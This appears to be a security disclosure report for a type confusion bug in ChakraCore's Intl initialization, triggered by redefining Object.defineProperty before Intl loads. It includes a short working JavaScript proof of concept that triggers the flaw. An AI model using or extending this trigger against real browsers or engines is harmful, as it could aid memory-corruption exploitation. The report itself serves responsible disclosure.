In Chakra, Internationlization is initialized the first time the Intl object is used, by executing the script in Intl.js (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/InJavascript/Intl.js). This code attempts to prevent Object methods from being redefined by user scripts, but there are a few stray calls to Object.defineProperty in initialization. If Object.defineProperty is redefined before Intl is initialized, a user-define method can be called during initialization. If this method defines a Collator (or DateTimeFormat or NumberFormat) getter and setter on the Intl object, it can intercept what it is set to, and set it to a different value instead. This will then cause type confusion in IntlEngineInterfaceExtensionObject::deletePrototypePropertyHelper (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/IntlEngineInterfaceExtensionObject.cpp), as this function assumes the properties of a Collator are objects, when they are not guaranteed to be. A minimal PoC is as follows, and a full PoC is attached.
 

var d = Object.defineProperty;

var noobj = {
    get: function () {
        return 0x1234567 >> 1;
    },
    set: function () {
    }
};

function f(){
	var i = Intl;
	Intl  = {}; // this somehow prevents an exception that prevents laoding
	d(i, "Collator", noobj);
}


Object.defineProperty = f;

var q = new Intl.NumberFormat(["en"]);

</script></body></html>


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

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